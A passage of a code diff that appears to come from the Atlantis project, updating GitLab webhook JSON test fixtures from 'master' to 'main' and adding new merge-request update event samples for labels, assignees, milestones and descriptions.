"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", @@ -115,7 +115,7 @@ "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", @@ -137,4 +137,4 @@ "human_total_time_spent": null, "human_time_estimate": null } -} \ No newline at end of file +} diff --git a/server/events/testdata/gitlab-merge-request-comment-event.json b/server/events/testdata/gitlab-merge-request-comment-event.json index d92bc4d45e..8b7548e544 100644 --- a/server/events/testdata/gitlab-merge-request-comment-event.json +++ b/server/events/testdata/gitlab-merge-request-comment-event.json @@ -17,7 +17,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", @@ -48,7 +48,7 @@ "merge_request": { "id": 7, "target_branch": "markdown", - "source_branch": "master", + "source_branch": "main", "source_project_id": 5, "author_id": 8, "assignee_id": 28, @@ -72,7 +72,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlab-org/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlab-org/gitlab-test", "url":"https://example.com/gitlab-org/gitlab-test.git", "ssh_url":"git@example.com:gitlab-org/gitlab-test.git", @@ -89,7 +89,7 @@ "namespace":"Gitlab Org", "visibility_level":10, "path_with_namespace":"gitlabhq/gitlab-test", - "default_branch":"master", + "default_branch":"main", "homepage":"http://example.com/gitlabhq/gitlab-test", "url":"https://example.com/gitlabhq/gitlab-test.git", "ssh_url":"git@example.com:gitlabhq/gitlab-test.git", @@ -97,7 +97,7 @@ }, "last_commit": { "id": "562e173be03b8ff2efb05345d12df18815438a4b", - "message": "Merge branch 'another-branch' into 'master'\n\nCheck in this test\n", + "message": "Merge branch 'another-branch' into 'main'\n\nCheck in this test\n", "timestamp": "2002-10-02T10:00:00-05:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b", "author": { @@ -112,4 +112,4 @@ "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" } } -} \ No newline at end of file +} diff --git a/server/events/testdata/gitlab-merge-request-event-mark-as-ready.json b/server/events/testdata/gitlab-merge-request-event-mark-as-ready.json new file mode 100644 index 0000000000..af544dee60 --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-mark-as-ready.json @@ -0,0 +1,154 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "id": 2, + "name": "Simon Heather", + "username": "sheather", + "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", + "email": "[REDACTED]" + }, + "project": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "object_attributes": { + "assignee_id": null, + "author_id": 2, + "created_at": "2023-07-02 15:59:31 UTC", + "description": "", + "head_pipeline_id": 8, + "id": 3, + "iid": 3, + "last_edited_at": null, + "last_edited_by_id": null, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "can_be_merged", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": 1, + "source_branch": "sheather-cloudfront-patch-92417", + "source_project_id": 2, + "state_id": 1, + "target_branch": "cloudfront", + "target_project_id": 2, + "time_estimate": 0, + "title": "Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf", + "updated_at": "2023-07-02 17:02:07 UTC", + "updated_by_id": 2, + "url": "https://gitlab.lan/sheather/test/-/merge_requests/3", + "source": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "target": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "last_commit": { + "id": "386f281f2c9b1a3b659fc7a244ca6781174e1836", + "message": "Update main.tf", + "title": "Update main.tf", + "timestamp": "2023-07-02T16:33:22+00:00", + "url": "https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836", + "author": { + "name": "Simon Heather", + "email": "[REDACTED]" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "time_change": 0, + "human_total_time_spent": null, + "human_time_change": null, + "human_time_estimate": null, + "assignee_ids": [ + + ], + "reviewer_ids": [ + 2 + ], + "labels": [ + + ], + "state": "opened", + "blocking_discussions_resolved": true, + "first_contribution": false, + "detailed_merge_status": "ci_must_pass", + "action": "update" + }, + "labels": [ + + ], + "changes": { + "title": { + "previous": "Draft: Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf", + "current": "Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf" + }, + "updated_at": { + "previous": "2023-07-02 17:01:45 UTC", + "current": "2023-07-02 17:02:07 UTC" + } + }, + "repository": { + "name": "test", + "url": "git@gitlab.lan:sheather/test.git", + "description": null, + "homepage": "https://gitlab.lan/sheather/test" + }, + "reviewers": [ + { + "id": 2, + "name": "Simon Heather", + "username": "sheather", + "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", + "email": "[REDACTED]" + } + ] + } diff --git a/server/events/testdata/gitlab-merge-request-event-subgroup.json b/server/events/testdata/gitlab-merge-request-event-subgroup.json index 9b768471ab..c730c20568 100644 --- a/server/events/testdata/gitlab-merge-request-event-subgroup.json +++ b/server/events/testdata/gitlab-merge-request-event-subgroup.json @@ -17,7 +17,7 @@ "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", @@ -46,7 +46,7 @@ "source_branch": "patch", "source_project_id": 7804027, "state": "opened", - "target_branch": "master", + "target_branch": "main", "target_project_id": 7804027, "time_estimate": 0, "title": "Update main.tf", @@ -64,7 +64,7 @@ "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", @@ -82,7 +82,7 @@ "namespace": "sub-subgroup", "visibility_level": 20, "path_with_namespace": "lkysow-test/subgroup/sub-subgroup/atlantis-example", - "default_branch": "master", + "default_branch": "main", "ci_config_path": null, "homepage": "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example", "url": "git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git", diff --git a/server/events/testdata/gitlab-merge-request-event-update-assignee.json b/server/events/testdata/gitlab-merge-request-event-update-assignee.json new file mode 100644 index 0000000000..06b63ddd40 --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-assignee.json @@ -0,0 +1,156 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + }, + "project": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "object_attributes": { + "assignee_id": 255, + "author_id": 255, + "created_at": "2020-12-08 04:04:23 UTC", + "description": "New description", + "head_pipeline_id": null, + "id": 41728, + "iid": 3, + "last_edited_at": "2020-12-08 04:05:16 UTC", + "last_edited_by_id": 255, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "can_be_merged", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": null, + "source_branch": "get-event-payload", + "source_project_id": 910, + "state_id": 1, + "target_branch": "main", + "target_project_id": 910, + "time_estimate": 0, + "title": "Add new file", + "updated_at": "2020-12-08 04:05:58 UTC", + "updated_by_id": 255, + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", + "source": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "target": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "last_commit": { + "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "message": "Add abc.txt\n", + "title": "Add abc.txt", + "timestamp": "2020-12-08T11:03:29+07:00", + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "author": { + "name": "Quan Hoang", + "email": "hdquan@pm.me" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "human_total_time_spent": null, + "human_time_estimate": null, + "assignee_ids": [ + 255, + 19 + ], + "state": "opened", + "action": "update" + }, + "labels": [ + { + "id": 340, + "title": "aaaa", + "color": "#0033CC", + "project_id": 910, + "created_at": "2020-12-08 04:05:34 UTC", + "updated_at": "2020-12-08 04:05:34 UTC", + "template": false, + "description": null, + "type": "ProjectLabel", + "group_id": null + } + ], + "changes": { + "assignees": { + "previous": [], + "current": [ + { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + } + ] + } + }, + "repository": { + "name": "Test Gitlab Webhook", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "description": "", + "homepage": "https://gitlab.com/quan.hoang/atlantis-example" + }, + "assignees": [ + { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + } + ] +} diff --git a/server/events/testdata/gitlab-merge-request-event-update-description.json b/server/events/testdata/gitlab-merge-request-event-update-description.json new file mode 100644 index 0000000000..d5e703198f --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-description.json @@ -0,0 +1,133 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + }, + "project": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "object_attributes": { + "assignee_id": null, + "author_id": 255, + "created_at": "2020-12-08 04:04:23 UTC", + "description": "New description", + "head_pipeline_id": null, + "id": 41728, + "iid": 3, + "last_edited_at": "2020-12-08 04:05:16 UTC", + "last_edited_by_id": 255, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "can_be_merged", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": null, + "source_branch": "get-event-payload", + "source_project_id": 910, + "state_id": 1, + "target_branch": "main", + "target_project_id": 910, + "time_estimate": 0, + "title": "Add new file", + "updated_at": "2020-12-08 04:05:16 UTC", + "updated_by_id": 255, + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", + "source": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "target": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "last_commit": { + "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "message": "Add abc.txt\n", + "title": "Add abc.txt", + "timestamp": "2020-12-08T11:03:29+07:00", + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "author": { + "name": "Quan Hoang", + "email": "hdquan@pm.me" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "human_total_time_spent": null, + "human_time_estimate": null, + "assignee_ids": [], + "state": "opened", + "action": "update" + }, + "labels": [], + "changes": { + "description": { + "previous": "description", + "current": "New description" + }, + "last_edited_at": { + "previous": "2020-12-08 04:04:56 UTC", + "current": "2020-12-08 04:05:16 UTC" + }, + "updated_at": { + "previous": "2020-12-08 04:04:56 UTC", + "current": "2020-12-08 04:05:16 UTC" + } + }, + "repository": { + "name": "Test Gitlab Webhook", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "description": "", + "homepage": "https://gitlab.com/quan.hoang/atlantis-example" + } +} diff --git a/server/events/testdata/gitlab-merge-request-event-update-labels.json b/server/events/testdata/gitlab-merge-request-event-update-labels.json new file mode 100644 index 0000000000..d1607661d7 --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-labels.json @@ -0,0 +1,151 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + }, + "project": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "object_attributes": { + "assignee_id": null, + "author_id": 255, + "created_at": "2020-12-08 04:04:23 UTC", + "description": "New description", + "head_pipeline_id": null, + "id": 41728, + "iid": 3, + "last_edited_at": "2020-12-08 04:05:16 UTC", + "last_edited_by_id": 255, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "can_be_merged", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": null, + "source_branch": "get-event-payload", + "source_project_id": 910, + "state_id": 1, + "target_branch": "main", + "target_project_id": 910, + "time_estimate": 0, + "title": "Add new file", + "updated_at": "2020-12-08 04:05:16 UTC", + "updated_by_id": 255, + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", + "source": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "target": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "last_commit": { + "id": "1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "message": "Add abc.txt\n", + "title": "Add abc.txt", + "timestamp": "2020-12-08T11:03:29+07:00", + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/commit/1ca7e340460796fe3eb17e2ea1b383ac4a1c95b7", + "author": { + "name": "Quan Hoang", + "email": "hdquan@pm.me" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "human_total_time_spent": null, + "human_time_estimate": null, + "assignee_ids": [], + "state": "opened", + "action": "update" + }, + "labels": [ + { + "id": 340, + "title": "aaaa", + "color": "#0033CC", + "project_id": 910, + "created_at": "2020-12-08 04:05:34 UTC", + "updated_at": "2020-12-08 04:05:34 UTC", + "template": false, + "description": null, + "type": "ProjectLabel", + "group_id": null + } + ], + "changes": { + "labels": { + "previous": [], + "current": [ + { + "id": 340, + "title": "aaaa", + "color": "#0033CC", + "project_id": 910, + "created_at": "2020-12-08 04:05:34 UTC", + "updated_at": "2020-12-08 04:05:34 UTC", + "template": false, + "description": null, + "type": "ProjectLabel", + "group_id": null + } + ] + } + }, + "repository": { + "name": "Test Gitlab Webhook", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "description": "", + "homepage": "https://gitlab.com/quan.hoang/atlantis-example" + } +} diff --git a/server/events/testdata/gitlab-merge-request-event-update-milestone.json b/server/events/testdata/gitlab-merge-request-event-update-milestone.json new file mode 100644 index 0000000000..cd750bb26a --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-milestone.json @@ -0,0 +1,154 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "id": 2, + "name": "Simon Heather", + "username": "sheather", + "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", + "email": "[REDACTED]" + }, + "project": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "object_attributes": { + "assignee_id": null, + "author_id": 2, + "created_at": "2023-07-02 15:59:31 UTC", + "description": "", + "head_pipeline_id": 8, + "id": 3, + "iid": 3, + "last_edited_at": null, + "last_edited_by_id": null, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "can_be_merged", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": 1, + "source_branch": "sheather-cloudfront-patch-92417", + "source_project_id": 2, + "state_id": 1, + "target_branch": "cloudfront", + "target_project_id": 2, + "time_estimate": 0, + "title": "Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf", + "updated_at": "2023-07-02 16:50:42 UTC", + "updated_by_id": 2, + "url": "https://gitlab.lan/sheather/test/-/merge_requests/3", + "source": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "target": { + "id": 2, + "name": "test", + "description": null, + "web_url": "https://gitlab.lan/sheather/test", + "avatar_url": null, + "git_ssh_url": "git@gitlab.lan:sheather/test.git", + "git_http_url": "https://gitlab.lan/sheather/test.git", + "namespace": "Simon Heather", + "visibility_level": 0, + "path_with_namespace": "sheather/test", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.lan/sheather/test", + "url": "git@gitlab.lan:sheather/test.git", + "ssh_url": "git@gitlab.lan:sheather/test.git", + "http_url": "https://gitlab.lan/sheather/test.git" + }, + "last_commit": { + "id": "386f281f2c9b1a3b659fc7a244ca6781174e1836", + "message": "Update main.tf", + "title": "Update main.tf", + "timestamp": "2023-07-02T16:33:22+00:00", + "url": "https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836", + "author": { + "name": "Simon Heather", + "email": "[REDACTED]" + } + }, + "work_in_progress": false, + "total_time_spent": 0, + "time_change": 0, + "human_total_time_spent": null, + "human_time_change": null, + "human_time_estimate": null, + "assignee_ids": [ + + ], + "reviewer_ids": [ + 2 + ], + "labels": [ + + ], + "state": "opened", + "blocking_discussions_resolved": true, + "first_contribution": false, + "detailed_merge_status": "ci_must_pass", + "action": "update" + }, + "labels": [ + + ], + "changes": { + "milestone_id": { + "previous": null, + "current": 1 + }, + "updated_at": { + "previous": "2023-07-02 16:49:20 UTC", + "current": "2023-07-02 16:50:42 UTC" + } + }, + "repository": { + "name": "test", + "url": "git@gitlab.lan:sheather/test.git", + "description": null, + "homepage": "https://gitlab.lan/sheather/test" + }, + "reviewers": [ + { + "id": 2, + "name": "Simon Heather", + "username": "sheather", + "avatar_url": "https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon", + "email": "[REDACTED]" + } + ] + } diff --git a/server/events/testdata/gitlab-merge-request-event-update-mixed.json b/server/events/testdata/gitlab-merge-request-event-update-mixed.json new file mode 100644 index 0000000000..aa517171ff --- /dev/null +++ b/server/events/testdata/gitlab-merge-request-event-update-mixed.json @@ -0,0 +1,178 @@ +{ + "object_kind": "merge_request", + "event_type": "merge_request", + "user": { + "name": "Quan Hoang", + "username": "quan.hoang", + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png", + "email": "hdquan@pm.me" + }, + "project": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "object_attributes": { + "assignee_id": 255, + "author_id": 255, + "created_at": "2020-12-08 04:04:23 UTC", + "description": "New description aaaa", + "head_pipeline_id": null, + "id": 41728, + "iid": 3, + "last_edited_at": "2020-12-08 04:11:57 UTC", + "last_edited_by_id": 255, + "merge_commit_sha": null, + "merge_error": null, + "merge_params": { + "force_remove_source_branch": "1" + }, + "merge_status": "can_be_merged", + "merge_user_id": null, + "merge_when_pipeline_succeeds": false, + "milestone_id": null, + "source_branch": "get-event-payload", + "source_project_id": 910, + "state_id": 1, + "target_branch": "main", + "target_project_id": 910, + "time_estimate": 0, + "title": "Add new file (another time)", + "updated_at": "2020-12-08 04:11:57 UTC", + "updated_by_id": 255, + "url": "https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3", + "source": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": "https://gitlab.com/quan.hoang/atlantis-example", + "url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "http_url": "https://gitlab.com/quan.hoang/atlantis-example.git" + }, + "target": { + "id": 910, + "name": "Test Gitlab Webhook", + "description": "", + "web_url": "https://gitlab.com/quan.hoang/atlantis-example", + "avatar_url": null, + "git_ssh_url": "git@gitlab.com:quan.hoang/atlantis-example.git", + "git_http_url": "https://gitlab.com/quan.hoang/atlantis-example.git", + "namespace": "Quan Hoang", + "visibility_level": 0, + "path_with_namespace": "quan.hoang/atlantis-example", + "default_branch": "main", + "ci_config_path": null, + "homepage": 